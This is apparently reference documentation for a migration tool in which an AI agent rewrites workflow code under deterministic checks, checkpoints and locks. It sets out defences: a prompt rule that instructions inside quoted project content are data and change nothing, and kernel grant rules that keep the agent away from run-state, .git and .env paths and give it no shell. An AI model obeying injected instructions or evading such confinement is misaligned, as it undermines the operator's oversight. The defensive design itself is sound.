| `argv`                | `(executable: string, ...args: ReadonlyArray<string>) => ArgvCommand`                            | Builds one.                                                                                                |
| `ArgvCommand`         | `Schema.Struct`                                                                                  | `{ _tag: "argv", executable, args }`, spawned with no shell.                                               |
| `VerificationCommand` | `Schema.Union([Schema.String, ArgvCommand])`                                                     | An argv, or an operator's own shell line.                                                                  |

`Units.plan(input, options?)` partitions a scan into ordered units. A unit is
one checkpoint, one agent frame, and one verification, which is what makes a
failure recoverable: the tool restores the unit's checkpoint, marks it failed,
and carries on.

The order is fixed:

1. `dependencies`: add the 1.0 packages beside the old ones and install.
2. one `workflow:<name>` per workflow file, in dependency order. Each shared
   component, library, and prompt attaches to the first workflow that imports
   it, so nothing is migrated twice.
3. one `integration:<name>` per integration seam.
4. `project`: remove the old packages, the 0.x JSX settings, the preload, the
   agent pool, and the old CLI scripts, once nothing depends on them.

`Units.orderWorkflows(workflows, imports)` puts the workflow units in that
order: a depth-first topological walk over the workflow-to-workflow relative
imports, started at the lexically first workflow, so a workflow another one
imports is migrated before its importer and two independent workflows always
come out the same way. A cycle is broken at the lexically first workflow in it
and recorded as a `UnitNote`, which `Scan.toReport` turns into an unresolved
entry: the order is a choice the tool had to make, and the operator is told so.

`Units.specifierContext(detection)` carries what the manifests decided about the
names that exist in both trees onto every unit, so `Checks.run` judges an import
the same way `Detect.scan` did.

`Units.flowName(path)` gives a workflow its registry name:
`.smithers/workflows/pipelines/ci-fast.tsx` becomes `pipelines/ci-fast` and
lands at `.smithers/flows/pipelines/ci-fast/flow.ts`.

`Units.verifyCommands(detection, overrides?, flowsDir?)` derives the commands
that verify a unit: install from the lockfile or `packageManager` (`bun`,
`pnpm`, `yarn`, and `npm`), format from the formatter the project already
configures, in check mode (`dprint check`, `prettier --check .`), one
`tsc --noEmit -p` per `tsconfig.json`, and test from `smithers.config.ts`
`repoCommands.test` or the root test script. Every one is overridable, because
the tool must never invent a command that runs the operator's code.

A derived command is an `ArgvCommand`: `{ _tag: "argv", executable, args }`,
spawned with no shell, so a file name the scanner read off the disk is one
argument whatever characters it carries. A bare string is reserved for an
operator override and keeps shell semantics. `Units.simpleCommand(line)` turns
a repository-authored line into an argv when it is plain words and refuses
anything a shell would interpret; a `repoCommands.test` it refuses is reported
in the plan's notes with the command that ran instead. `Contract.commandLine`
renders either form as the one line the prompt and the report share.
The orchestrator executes verification after the agent answers.

## Checks

### Exports

| Export            | Signature                                                                                                                                    | What it is                                                           |
| ----------------- | -------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------- |
| `run`             | `(root, unit, changedFiles, checkpointFiles, reported?, decisions?) => Effect<ReadonlyArray<CheckResult>, MigrateError, FileSystem \| Path>` | Every deterministic check for one unit.                              |
| `runState`        | `(root, checkpointFiles) => Effect<CheckResult, MigrateError, FileSystem \| Path>`                                                           | The run-state comparison alone, run again after the archive.         |
| `discovery`       | `(root: string, flowsDir?: string) => Effect<CheckResult, MigrateError, FileSystem \| Path>`                                                 | The registry's own discovery scan. Any warning fails it.             |
| `ok`              | `(results: ReadonlyArray<CheckResult>) => boolean`                                                                                           | Whether every check passed.                                          |
| `CheckResult`     | `interface`                                                                                                                                  | `name`, `ok`, and `findings` of file, line, and message.             |
| `CheckpointFiles` | `interface`                                                                                                                                  | The sources, digests, and run-state roots the checkpoint recorded.   |
| `ReportedEntry`   | `interface`                                                                                                                                  | What the rewrite claims it reported, cross-checked against the tree. |
| `marker`          | `"TODO(migrate-smithers-v1)"`                                                                                                                | The marker an unsafe construct leaves behind.                        |

`Checks.run(root, unit, changedFiles, checkpointFiles, reported?)` is the
enforcement half of the migration contract. The prompt asks; these checks
decide, and a failed check fails the round exactly as a failed test does:

| Check                                                         | What it refuses                                                                                                                                           |
| ------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
| no old import remains                                         | a migrated file still reaching the 0.x facade through any import, `export ... from`, `require(...)`, or dynamic `import(...)`                             |
| no JSX pragma remains                                         | `@jsxImportSource` with no runtime to point at                                                                                                            |
| no react import under the flows directory                     | React inside a flow                                                                                                                                       |
| no escape hatch introduced                                    | an `as any`, `as unknown as`, `@ts-ignore`, or `@ts-expect-error` this unit added                                                                         |
| no scheduler loop under the flows directory                   | `setInterval` or `while (true)` polling; the engine owns scheduling                                                                                       |
| no direct database access under the flows directory           | `new Database(`, `bun:sqlite`, `node:sqlite`                                                                                                              |
| every flow module declares a description                      | a `flow.ts` whose default export is not a `Flow.make` call carrying a `description` string literal                                                        |
| every flow module's descriptor describes the flow it declares | a default export without a nonempty literal tag, payload schema or field object, or callable body; a body that does not reach the flow declared beside it |
| every TODO marker is reported                                 | a `TODO(migrate-smithers-v1)` with no `unresolved` or `unsupported` entry                                                                                 |
| every seat comes from the source or from a decision           | a seat naming a model that appears as a string literal in neither the unit's old source nor a recorded decision                                           |
| run state is byte-identical                                   | any change, addition, or removal under a 0.x database, log, or state directory                                                                            |

Every one of these is parsed rather than matched where a match would be a lie.
The old-import check reads the module specifiers out of the syntax tree and
judges each with `Detect.isOldSpecifier`, so a side-effect import, a `require`,
a dynamic `import`, and an `export ... from` are all caught, and so is
`@smthrs/components`. The description check reads the default export rather than
looking for the word, because `// description: "x"` satisfies a regular
expression and declares nothing. It accepts only `Flow.make`, the one
constructor the registry's own tokenizer looks for: a description on a
`Widget.make`, on a bare `make`, or on a namespace alias is a description no
registry ever reads.

The descriptor check requires exactly `Flow.make("<tag>", { ... })` with a
nonempty literal tag, a `payload` schema or field object (including `{}` for no
input), and a callable `body`. Object-first declarations and `model` or `flows`
without a body are rejected. When a module declares another flow beside the
default export, the default body's call must reach that flow. These checks run
before archiving the old source, even without a project typecheck command.
They inspect syntax without executing generated code; the project's typecheck
and tests validate referenced values and runtime behavior.

The escape-hatch check counts each kind separately against
`checkpointFiles.sources`, so a project that already had an `as any` in a
touched file does not fail a migration that did not add one, and swapping an
`as any` for a `@ts-ignore` does not pass on an unchanged total.

The run-state check works both ways. It compares `checkpointFiles.digests`,
which is a digest per path and so works on binary files, and it walks every
directory in `checkpointFiles.runStateRoots`: `RunState.roots(report)` builds
that list: to catch a file written under a run-state directory after the
checkpoint was taken, which no digest covers. `RunState.roots` returns
directories only: 0.x leaves loose state files beside its directories
(`.smithers/workflows/run-<id>.log`, `.smithers/claude-mirror-subscriptions.json`),
and a file used as a walk root walks nothing, so the sibling run log a later
write would leave there is the case the roots have to cover.

`Checks.discovery(root, flowsDir?)` runs the registry's own `Discovery.scan`
over the flows directory and fails on any warning. It is the last word on
whether a migrated flow is real: a flow discovery will not list is a flow
nobody can run.

## Report

### Exports

| Export            | Signature                                                                                                 | What it is                                                     |
| ----------------- | --------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------- |
| `MigrationReport` | `class`                                                                                                   | The whole record, as an `effect/Schema` class.                 |
| `empty`           | `(root: string, mode: Mode, generatedAt: string) => MigrationReport`                                      | Starts one.                                                    |
| `withUnit`        | `(report: MigrationReport, entry: UnitReport) => MigrationReport`                                         | Adds or replaces a unit, in canonical order.                   |
| `finalize`        | `(report: MigrationReport, options?: FinalizeOptions) => MigrationReport`                                 | Rolls the units up and computes the exit code.                 |
| `toJson`          | `(report: MigrationReport) => string`                                                                     | `report.json`.                                                 |
| `toMarkdown`      | `(report: MigrationReport) => string`                                                                     | `report.md`, a pure function of the JSON.                      |
| `write`           | `(directory: string, report: MigrationReport) => Effect<ReadonlyArray<string>, MigrateError, FileSystem>` | Writes both and returns their paths.                           |
| `project`         | `(detection: Detection) => ProjectDetection`                                                              | The detection section.                                         |
| `runState`        | `(report: RunStateReport) => RunStateSummary`                                                             | The run-state section.                                         |
| `inventory`       | `(hits, classify) => ReadonlyArray<InventoryRow>`                                                         | The inventory section.                                         |
| `tool`            | `{ name, version }`                                                                                       | What every report records as its author.                       |
| `Mode`            | `Schema.Literals(["scan", "plan", "apply"])`                                                              | The three modes.                                               |
| `FinalizeOptions` | `interface`                                                                                               | `acknowledgeRunState`, which decides whether run state blocks. |

The document schemas are `CommandResult`, `VerificationResult`,
`MappingDecision`, `InventoryRow`, `ChangedFile`, `Decision`,
`UnresolvedEntry`, `UnsupportedEntry`, `Checkpoint`, `UnitReport`,
`ProjectDetection`, `RunStateRun`, `RunStateSummary`, and `FollowUp`.

`Report.MigrationReport` is the whole record, as an `effect/Schema` class:
version, tool, `generatedAt`, root, mode, exit code, the project detection, the
run state, the construct inventory, the mapping decisions, one entry per unit,
the verification result, the unresolved and unsupported unions, and the manual
follow-ups.

`Report.empty(root, mode, generatedAt)` starts one. `Report.withUnit` adds or
replaces a unit, putting its sources, targets, changed files, decisions,
unresolved entries, and unsupported entries in a canonical order first, so two
runs that found the same things render the same bytes whatever order a repair
round collected them in. `Report.finalize` rolls the units up: it unions the unresolved
and unsupported entries, builds the follow-up checklist, and computes the exit
code.

`Report.toJson` and `Report.toMarkdown` render it, and `Report.write(directory,
report)` writes both. The Markdown sections come in a fixed order: summary,
run state and operator instructions, project detection, construct inventory,
mapping decisions, units, verification, manual follow-ups, and the commands
that restore each checkpoint, and every list inside them is sorted, so two
runs of the same scan diff cleanly.

Each verification command's last 12 KB of stdout and stderr is captured into
`report.json` after the journal's shared redaction rules, the same rules
`smthrs bug` applies, replace known credential shapes with `[REDACTED]`. The
rules match known shapes only, so a failing install or test suite can still
print a secret they do not recognize. The Verification section says so beside
the commands whenever any output was captured, because the README tells the
operator to commit the report.

## Scan

### Exports

| Export              | Signature                                                                                             | What it is                                                                 |
| ------------------- | ----------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| `scan`              | `(root: string, options?: Options) => Effect<ScanResult, MigrateError, FileSystem \| Path>`           | The whole read-only pipeline.                                              |
| `ScanResult`        | `interface`                                                                                           | `root`, `detection`, `runState`, `inventory`, `mapping`, `hints`, `units`. |
| `Options`           | `interface`                                                                                           | `ignore`, `environment`, `flowsDir`, `commands`, `units`, `runState`.      |
| `decisions`         | `(hits: ReadonlyArray<InventoryEntry>) => ReadonlyArray<MappingDecision>`                             | One row per distinct construct, carrying the worst class.                  |
| `toReport`          | `(result: ScanResult, mode: Mode, generatedAt: string, options?: FinalizeOptions) => MigrationReport` | The scan as a report, every unit `planned` or `blocked`.                   |
| `operatorDecisions` | `(unit: UnitPlan) => ReadonlyArray<UnresolvedEntry>`                                                  | The decisions a person owes for one unit.                                  |

`Scan.scan(root, options?)` composes every module above into one `ScanResult`:
detection, run state, inventory, mapping decisions, hints, and the unit plan.
It reads and returns; it writes nothing, installs nothing, evaluates no project
code, and opens no database for writing. That is what makes `scan` and `plan`
safe to run on a project nobody has decided about yet.

`Scan.decisions(hits)` gives one mapping row per distinct construct. The row
carries the worst class any occurrence has and the union of the reasons they
gave, so a file holding one `<Task>` and one `<Task hijack>` reports `unsafe`
whichever the walk read last.

`Scan.toReport(result, mode, generatedAt)` renders a scan as a report with
every unit `planned`, or `blocked` when the unit holds a construct with no safe
translation. `Scan.operatorDecisions(unit)` supplies the unresolved entries a
person has to answer: one per `ClaudeCodeAgent`, `CodexAgent`, `OpenCodeAgent`,
and `fallbackAgents` hit, each offering subscription auth through the flows
harness or an API seat, and each saying that a pool stays a pool.

## Contract

### Exports

| Export                                             | Signature                                          | What it is                                                     |
| -------------------------------------------------- | -------------------------------------------------- | -------------------------------------------------------------- |
| `text`                                             | `string`                                           | The stable system teaching every unit shares.                  |
| `unitPrompt`                                       | `(unit: UnitBrief, failures?: Failures) => string` | The per-unit task, and the repair round's failing output.      |
| `prohibitions`                                     | `ReadonlyArray<string>`                            | The twelve rules, one sentence each.                           |
| `role`                                             | `string`                                           | The agent's role, in one paragraph.                            |
| `targetModel`                                      | `string`                                           | Every API a migrated unit may reach for, with its module.      |
| `examples`                                         | `ReadonlyArray<Example>`                           | The worked old-to-new pairs.                                   |
| `fenced`                                           | `(text: string, info?: string) => string`          | Fences quoted content so it cannot end its own block.          |
| `inline`                                           | `(text: string) => string`                         | The same for a path or a command line.                         |
| `commandLine`                                      | `(command: VerificationCommand) => string`         | The one rendering the prompt, the report, and the grant share. |
| `failureReport`                                    | `(failures: Failures) => string`                   | A repair round's failing commands and checks.                  |
| `UnitBrief`                                        | `Schema.Struct`                                    | One unit's whole brief, as the flow's payload.                 |
| `Commands`                                         | `Schema.Struct`                                    | The verification commands a unit is granted and judged by.     |
| `ConstructRow`, `MappingRow`, `SourceFile`, `Hint` | `Schema.Struct`                                    | The brief's row types.                                         |
| `Example`, `Failures`                              | `interface`                                        | A worked pair, and one round's failures.                       |

What each of those exports puts in front of the model:

| Export          | Type                          | What it is                                                                                                                                                                                                                                                                                     |
| --------------- | ----------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `prohibitions`  | `ReadonlyArray<string>`       | The rules the migration may not break, in the order the prompt states them.                                                                                                                                                                                                                    |
| `role`          | `string`                      | What the agent is for, in two sentences.                                                                                                                                                                                                                                                       |
| `targetModel`   | `string`                      | The 1.0 authoring model in one page.                                                                                                                                                                                                                                                           |
| `examples`      | `ReadonlyArray<Example>`      | Old and new pairs, copied verbatim from the verified migration examples.                                                                                                                                                                                                                       |
| `text`          | `string`                      | Role, rules, target model, worked pairs, and how to fill the result.                                                                                                                                                                                                                           |
| `UnitBrief`     | `Schema`                      | One unit as the agent receives it: captured sources, construct rows, mapping rows with rewrite snippets, hints, scanner warnings about its own sources, unsafe list, operator decisions, run-state paths, approved packages, commands, and whether a flow is expected by the time it verifies. |
| `unitPrompt`    | `(unit, failures?) => string` | The task, with sources numbered and every later section referring to them by line.                                                                                                                                                                                                             |
| `failureReport` | `(failures) => string`        | The failing half of a verification round, with bounded output tails.                                                                                                                                                                                                                           |

Every snippet in a prompt is captured source, a scanner-derived rewrite, or a redacted dotenv inventory. The prompt never carries an invented identifier and never names a model.

Dotenv (`.env*`) `SourceFile.text` contains sorted, unique `SMITHERS_*`
assignment names with `[REDACTED]` values. Other keys, all values, and comments
are omitted before the brief becomes the capture action's output. Initial,
repair, and fallback captures use the same view. Its numbered lines refer to
the inventory. The agent leaves dotenv files unchanged and reports required
environment migrations as unresolved; the host checkpoint retains original
bytes for checks and restoration.

## Gate

### Exports

| Export             | Signature                                                                   | What it is                                                           |
| ------------------ | --------------------------------------------------------------------------- | -------------------------------------------------------------------- |
| `evaluate`         | `(scan: ScanResult, options: Options) => Effect<void, MigrateError>`        | Both gates over a scan. `scan` and `plan` always pass.               |
| `evaluateReport`   | `(report: MigrationReport, options: Options) => Effect<void, MigrateError>` | The same two gates over a report, which is what crosses the journal. |
| `Options`          | `interface`                                                                 | `mode`, `acknowledgeRunState`, `allowUnsafe`.                        |
| `unsafeConstructs` | `(scan: ScanResult) => ReadonlyArray<string>`                               | Every unsafe construct the scan found.                               |
| `unwaived`         | `(scan: ScanResult, allowUnsafe) => ReadonlyArray<string>`                  | The ones the operator has not accepted.                              |
| `unsafeInReport`   | `(report: MigrationReport) => ReadonlyArray<string>`                        | The same list, read off a report.                                    |
| `unwaivedInReport` | `(report: MigrationReport, allowUnsafe) => ReadonlyArray<string>`           | The same waiver, read off a report.                                  |
| `runStateBlocks`   | `(scan: ScanResult, acknowledgeRunState: boolean \| undefined) => boolean`  | Whether the run-state gate refuses.                                  |
| `instructions`     | `(scan: ScanResult) => ReadonlyArray<string>`                               | The operator texts, in the order to act on them.                     |
| `incompleteScan`   | `(warnings) => MigrateError \| undefined`                                   | The refusal for a plan built over an unreadable path.                |

Both gates hold decisions only a person can make, so `apply` parks with exit 3
and the project untouched rather than choosing for you. `scan` and `plan`
always pass: they report the blockage instead of refusing on it. See
[Clear 0.x run state before you apply](https://github.com/smithersai/smithers/blob/main/packages/smithers/migrate/docs/guides/clear-run-state.md) and
[Accept constructs with no safe translation](https://github.com/smithersai/smithers/blob/main/packages/smithers/migrate/docs/guides/allow-unsafe-constructs.md).

## Options

### Exports

| Export                   | Signature                                                                     | What it is                                                                                         |
| ------------------------ | ----------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------- |
| `MigrateOptions`         | `Schema.Struct`                                                               | What one run was asked to do. The schema refuses an unusable layout.                               |
| `Mode`                   | `Schema.Literals(["scan", "plan", "apply"])`                                  | The three modes.                                                                                   |
| `Commands`               | `Schema.Struct`                                                               | The four verification overrides, as the payload carries them.                                      |
| `Layout`                 | `Schema.Struct`                                                               | `flowsDir`.                                                                                        |
| `State`                  | `Schema.Struct`                                                               | `smithersHome`, `home`, `tmpdir`: the only environment the scanners read.                          |
| `stateOf`                | `(environment) => State \| undefined`                                         | Reads those three from an environment. Nothing else leaves it.                                     |
| `scanEnvironment`        | `(state: State \| undefined) => Readonly<Record<string, string>>`             | Rebuilds the environment a scan reads from a `State`.                                              |
| `validateLayout`         | `(options: MigrateOptions) => Effect<void, MigrateError, FileSystem \| Path>` | What a schema cannot see: a symlink, and a report directory holding files that are not the tool's. |
| `layoutIssue`            | `(options) => string \| undefined`                                            | Why a root and its two layout paths are not acceptable together.                                   |
| `relativePathIssue`      | `(label: string, value: string) => string \| undefined`                       | Why one layout path is not acceptable.                                                             |
| `reportDir`              | `(options: MigrateOptions) => string`                                         | The report directory, defaulted.                                                                   |
| `flowsDir`               | `(options: MigrateOptions) => string`                                         | The flows directory, defaulted.                                                                    |
| `maxRepairRounds`        | `(options: MigrateOptions) => number`                                         | The repair rounds, defaulted.                                                                      |
| `defaultReportDir`       | `".smithers-migrate"`                                                         | The default report directory.                                                                      |
| `defaultFlowsDir`        | `".smithers/flows"`                                                           | The default flows directory, `Units.defaultFlowsDir`.                                              |
| `defaultMaxRepairRounds` | `3`                                                                           | The default repair rounds.                                                                         |
| `reservedDirectories`    | `[".flows", ".git", ".jj", "node_modules"]`                                   | Directory names no segment of a layout path may be, at any depth.                                  |
| `reportDirEntries`       | `ReadonlyArray<string>`                                                       | Everything the tool itself writes at the top of the report directory.                              |

What each of those exports defaults to, and what it refuses:

| Export                                | Type                                                                                                                                              | Default                                                                                                                                                                                                                                                                                                                                    |
| ------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `MigrateOptions`                      | `Schema`                                                                                                                                          | `mode` is required; everything else is optional. Decoding refuses any layout `layoutIssue` refuses.                                                                                                                                                                                                                                        |
| `Mode`                                | `"scan" \| "plan" \| "apply"`                                                                                                                     | The CLI defaults to `plan`.                                                                                                                                                                                                                                                                                                                |
| `reportDir`                           | `(options) => string`                                                                                                                             | `.smithers-migrate`                                                                                                                                                                                                                                                                                                                        |
| `flowsDir`                            | `(options) => string`                                                                                                                             | `flows`                                                                                                                                                                                                                                                                                                                                    |
| `maxRepairRounds`                     | `(options) => number`                                                                                                                             | `3`                                                                                                                                                                                                                                                                                                                                        |
| `layoutIssue`                         | `(options) => string \| undefined`                                                                                                                | The root is absolute and normalized; each layout path is a plain relative path (no `.`, `..`, empty segment, NUL, backslash, or trailing slash, and no `.flows`, `.git`, `.jj`, or `node_modules` segment at any depth); the two do not overlap, and flows cannot live under the fixed `.smithers-migrate` lock directory.                 |
| `validateLayout`                      | `(options) => Effect`                                                                                                                             | What the text cannot show: the root is a directory, the deepest existing ancestor of each layout path resolves (symlinks followed) inside the resolved root, and an existing report directory holds only `reportDirEntries`.                                                                                                               |
| `reservedDirectories`                 | `[".flows", ".git", ".jj", "node_modules"]`                                                                                                       | Names no segment of a layout path may be, at any depth.                                                                                                                                                                                                                                                                                    |
| `reportDirEntries`                    | `["apply.lock", "apply.lock.sqlite", "apply.lock.sqlite-journal", "archive", "backup", "pending-unit.json", "report.json", "report.md", "units"]` | Everything the tool writes at the top of the report directory.                                                                                                                                                                                                                                                                             |
| `State`, `stateOf`, `scanEnvironment` | `Schema`, `(environment) => State \| undefined`, `(state) => environment`                                                                         | The three state paths a host derives from `SMITHERS_HOME`, `HOME`, and `TMPDIR`. `Command.optionsOf` puts them on the payload as `state`; the flow's scan and `Layers.layerNodeScanned` rebuild the scanners' environment from them, so global and gateway run state is found by the run itself. No other environment reaches the payload. |

`MigrateFlow.scan` runs `validateLayout` before the scan, skips the report
directory during it, and refuses a report or flows directory that sits under
a 0.x run-state root or holds one (`MigrateFlow.layoutConflict`) after it.
`Command.survey` uses the same scan, so the survey and the flow's own scan
step refuse the same layouts.

## Lock

Import from `@smthrs/migrate/flow/Lock`. Every apply acquires one lock for the
canonical project root, independently of its report directory. The authority
is a SQLite writer transaction held until release, on the permanent file
`.smithers-migrate/apply.lock.sqlite`. The adjacent JSON owner record is
diagnostic: an incomplete record never authorizes a competing apply.

| Export    | Signature                                                                 | What it is                                                                                                                                                            |
| --------- | ------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Record`  | Schema and type                                                           | `pid`, `startedAt`, `root`, plus `token` and `reportDir`. The last two are optional when decoding older pre-release diagnostics; newly acquired records include both. |
| `Held`    | interface                                                                 | The acquired handle: `file`, `record`, and any abandoned `reclaimed` record. Release requires this exact handle.                                                      |
| `file`    | `(path: Path, root: string, reportDir?: string) => string`                | The fixed JSON record path under `root`. `reportDir` is ignored; `acquire` resolves the root before using this helper.                                                |
| `acquire` | `({ root, reportDir }) => Effect<Held, MigrateError, FileSystem \| Path>` | Takes the writer lock immediately or fails with `apply-in-progress`; it does not wait or infer liveness from a pid or timestamp.                                      |
| `release` | `(held: Held) => Effect<void, never, FileSystem \| Path>`                 | Removes the matching owner record while holding the transaction, then closes its connection. Repeated or reconstructed releases do nothing.                           |

Use `Effect.acquireUseRelease` around the entire apply, as `Command.launch`
does. Process death releases the operating-system lock even during owner
record initialization. Reclaimers serialize on that lock before replacing a
record. Before publishing an owner record, acquisition refuses an unresolved
`pending-unit.json` in the selected, default, or previous owner's report
directory with `checkpoint-failed`. It preserves the original recovery
pointer and backups across repeated retries. `Checkpoint.take` also checks
before writing any backup. Release preserves a changed record or one whose
checkpoint remains unresolved, and cleanup errors still close
the transaction without masking the migration's result. The SQLite guard is
never removed. See [apply-in-progress](https://github.com/smithersai/smithers/blob/main/packages/smithers/migrate/docs/troubleshooting.md#apply-in-progress)
for the operator recovery steps.

## The migration flow

`apply` is one flow execution, `smithers/migrate-v1`, with one child execution per unit.

The units are in the flow's payload rather than in a value its scan step returns, because a flow body is plan time: `Node.bindPlanned`'s builder runs once against a placeholder before anything executes, so a graph cannot fan out over a list produced at run time. The scan still runs inside the flow, is still journaled, and is still what the gate and the report read; a payload whose units no longer match the project fails the gate with `unsupported-project`.

Every step takes a value from the step before it, and that is the ordering. A plan is a dataflow graph, so a node nothing depends on is free to run whenever the engine likes. The checkpoint's own record feeds the source capture, the capture feeds the rewrite, the rewrite's account of what it changed feeds the verification, and both feed the step that settles the unit.

| Node          | Tier         | What it does                                                                                                                                                                                                                                                                                                                                                      |
| ------------- | ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Scan`        | sealed       | Walks the project and renders the plan report.                                                                                                                                                                                                                                                                                                                    |
| `Gate`        | sealed       | Refuses `apply` over run state or unsafe constructs, and a payload whose unit ids no longer match the project; answers with the options it approved.                                                                                                                                                                                                              |
| `Settle`      | irreversible | Records a unit whose own steps failed with a `MigrateError` (checkpoint, archive, verification) as a failed unit carrying the error's code and message, after the unit's restoring scope has put its files back, so the run continues with the next unit and every finished unit keeps its outcome. `no-vcs` is raised again unchanged: it refuses the whole run. |
| `Seal`        | irreversible | Reads the project once more, immediately before the first checkpoint, recomputes `MigrateFlow.planSeal` and refuses with `stale-plan` when it differs from the payload's, naming each path whose bytes changed. Clears the unit artifacts of any earlier run. Irreversible so a durable host runs it in every execution rather than replaying a recorded answer.  |
| `Checkpoint`  | irreversible | Opens a jj change, writes a git ref, or copies the unit's declared sources and targets aside with a per-path manifest (absent, or present with its digest), digests every run-state path, and digests the whole tree.                                                                                                                                             |
| `Capture`     | sealed       | Reads the unit's sources: the checkpoint's copy on the first round, the disk on a repair round.                                                                                                                                                                                                                                                                   |
| `Transform`   | model        | Rewrites the unit through the `write`, `edit`, and `apply_patch` flows.                                                                                                                                                                                                                                                                                           |
| `Verify`      | irreversible | Install, format, typecheck, tests, and registry discovery.                                                                                                                                                                                                                                                                                                        |
| `Repair`      | model        | One failing round, handed back with the failing output and the contract.                                                                                                                                                                                                                                                                                          |
| `Finish`      | irreversible | Deterministic checks, the archive and the deterministic rewrites on pass, the kind's postconditions, then the whole verification again over the final tree followed by the confinement and run-state checks again, checkpoint restore on any failure, unit report. The report records the final verification.                                                     |
| `WriteReport` | irreversible | Folds the unit reports into the scan's report and writes `report.json` and `report.md`.                                                                                                                                                                                                                                                                           |

The agent's half runs on kernel-guarded services pinned to the project root, with a grant store that denies every filesystem action, `fs:*`, on each 0.x run-state path and everything under it: a read is a copy into a model call, so the contract's "do not read" is enforced by the kernel and not by the sentence. The same denial covers the default `.smithers-migrate` directory and the configured `--report-dir`, which hold the backups, tree manifests, and `pending-unit.json` that restore trusts; `.git` and `.jj`, whose hooks and config run as the operator later; and every path at any depth whose name starts with `.env`, whose keys the brief carries only as a redacted inventory. That last rule also denies everything under a directory such as `.envoy/`, a deliberate fail-closed over-deny. The `.git`, `.jj`, and `.env` rules cover every ASCII case spelling, because a case-insensitive volume such as default macOS APFS resolves `.GIT` to `.git`. The report-directory and run-state rules match only the configured spelling until the kernel canonicalizes paths to their on-disk case ([#2762](https://github.com/smithersai/smithers/issues/2762)); on a case-insensitive volume a differently cased spelling of those paths is not yet denied. Restore also refuses any checkpoint manifest path that is absolute or has an empty, `.`, or `..` segment, so a forged entry cannot overwrite or remove a file outside the project. The capability envelope reads wider than that confinement on purpose: an envelope has to subsume what a bound flow declares, and `@smthrs/std` declares `fs:write:/**`. The bound is enforced by the workspace root and the grant rules, which can express "everything but these"; a pattern string cannot.

The prompt treats everything it quotes from the project as data. `Contract.fenced` fences a source, a hint, a snippet, or a command's output with one more backtick than the longest run inside it, so the content cannot end the block; `Contract.inline` does the same for a path or a command; and the contract's last rule says that an instruction inside any of them is part of the project and changes nothing.

The migration agent receives no process authority or shell/verification bindings. It edits through guarded filesystem flows. The deterministic orchestrator runs the configured verification commands after each rewrite and returns failures for repair; run-state digests detect changes to protected state and restore the unit.

### What a unit is allowed to write

The finish payload carries the same `RunState.roots` used to take the checkpoint. Membership checks use those exact roots, so a directory such as `.smithers/executions` never expands to include sibling configuration files.

The checkpoint records two things a unit is judged against and they are not the same. `Checkpoint.digest` covers the 0.x run-state paths, which must not change at all. `Checkpoint.tree` covers everything else in the project, minus `.git`, `.jj`, `node_modules`, the report directory, the fixed `.smithers-migrate/` lock directory, `.flows/`, and those run-state roots, and is written beside the unit's backup rather than carried in the journal, because a project has thousands of files and each one would otherwise cross it once per unit.

The checkpoint copies every declared source and target aside and records, per path, whether it existed and what its bytes digested to; `Checkpoint.restore` and `Checkpoint.rollback` decide from that manifest alone. A target the operator already had at the path a unit writes comes back byte for byte, a path recorded absent is the only kind a rollback removes, a path the manifest never named is refused rather than guessed at, and a backup or a restored file whose digest no longer matches fails the restore instead of overwriting the tree. Absence is the platform's typed `NotFound` and nothing else: a permission error, a disk error, or a directory where a file was declared fails the checkpoint.

`Checkpoint.treeDiff` afterwards is what the unit report's `changedFiles` is built from. The agent answers with a `changedFiles` list of its own; it is advisory, is journaled so a reader can compare the two, and decides nothing. A path in the diff that is in neither the unit's sources nor its targets fails the unit: an added file is removed, and a modified or deleted one is named in the report with the checkpoint's own restore command, because the checkpoint copied the unit's declared files aside and nothing else. A lockfile at the project root is the exception, and the only one: an install rewrites it, and a migration that adds packages makes it do exactly that. The exception is an exact root path, not a name at any depth, `src/pnpm-lock.yaml` is a file no install writes, so it fails the unit like any other undeclared write, and it exempts the lockfile from the refusal, not from the record: the unit report's changed files still name it.

Every fallible operation in `Finish`, including the initial owned-file and whole-tree comparisons, runs inside one restoring scope. An absent verification result restores the checkpoint before comparing the agent's output. The deterministic checks, the archive, the rewrites, and the postconditions return a failed unit through their own branches; an exception any of them raises, an unreadable file, a full disk, a refused archive, an interrupt, restores the unit's files before it propagates, because the failure escapes the flow and `WriteReport` never runs.

What the scope puts back is read from the tree at the moment it fires, never from a set computed before it: `Checkpoint.rollback` diffs the tree against the checkpoint's manifest then, puts every recorded file back byte for byte, removes every path added since, and deletes the archive copy of anything it put back. A postcondition that fails after the archive has moved a unit's sources therefore leaves the project exactly as the checkpoint found it, and so does any step a later version adds below the archive.

`Archive.run` tells two kinds of source apart. A source the migration replaced moves to `.smithers-migrate/archive/<original path>`, in two phases: every copy is written before any source is removed. A source a 1.0 project keeps, `package.json`, `tsconfig*.json`, `.gitignore`, is rewritten where it is and never moved: old packages out, `effect` pinned to the version this release ships, `smithers up <file>` scripts rewritten to `smthrs flow start <flow>` with input/detach flags translated and unsafe mappings reported rather than deleted, retired Smithers JSX settings and old path mappings removed, `.flows/` ignored. The project unit also keeps Markdown documentation and command script paths recognized by detection (`.sh`, Makefile, Justfile, justfile, Procfile, bunfig.toml, `.github/workflows/*.yml` or `*.yaml`, and docker-compose YAML files), preserving their in-place transform edits. A `dependencies` or `integration` unit archives nothing, because its files are the ones the migration edits. Tool code gets the agent's rule too: an archive whose source set reaches a run-state path fails with `run-state-blocked` rather than moving it.

